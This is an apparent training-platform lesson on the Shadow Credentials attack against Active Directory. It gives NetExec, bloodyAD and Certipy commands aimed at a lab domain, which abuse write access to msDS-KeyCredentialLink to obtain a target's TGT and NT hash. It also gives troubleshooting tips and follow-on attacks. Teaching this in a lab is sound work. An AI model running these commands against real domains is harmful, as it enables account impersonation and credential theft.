← Back to Academy

Academy Node

Shadow Credentials

Shadow Credentials abuses write access to msDS-KeyCredentialLink to authenticate as a target user/computer using certificate-based Kerberos.

Advanced100 XPDACL Abuse

Why it matters

It avoids changing the password and is a strong GenericWrite/GenericAll abuse path.

How to identify it

  • GenericWrite/GenericAll over user or computer
  • AddKeyCredentialLink edge

BloodHound indicators

  • AddKeyCredentialLink
  • GenericWrite to User

NetExec commands

nxc ldap 192.168.184.141 -d xutslabs.local -u USER -p PASS

BloodyAD commands

bloodyAD --host 192.168.184.141 -d xutslabs.local -u USER -p PASS add shadowCredentials TARGET

Certipy commands

certipy-ad shadow auto -u USER@xutslabs.local -p 'PASS' -account TARGET -dc-ip 192.168.184.141

Expected output

  • PFX created
  • TGT/NT hash obtained

Success looks like

  • Authenticate as target

Failure looks like

  • Attribute not writable
  • KDC mapping issues

Troubleshooting

  • Try Certipy shadow auto
  • Use FQDN/DC IP
  • Sync time

Common mistakes

  • Wrong target type
  • Not cleaning up in lab

Alternative attacks

  • Reset password
  • Targeted Kerberoast

What to try next

  • Use new identity
  • Collect BloodHound
  • Check admin paths

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.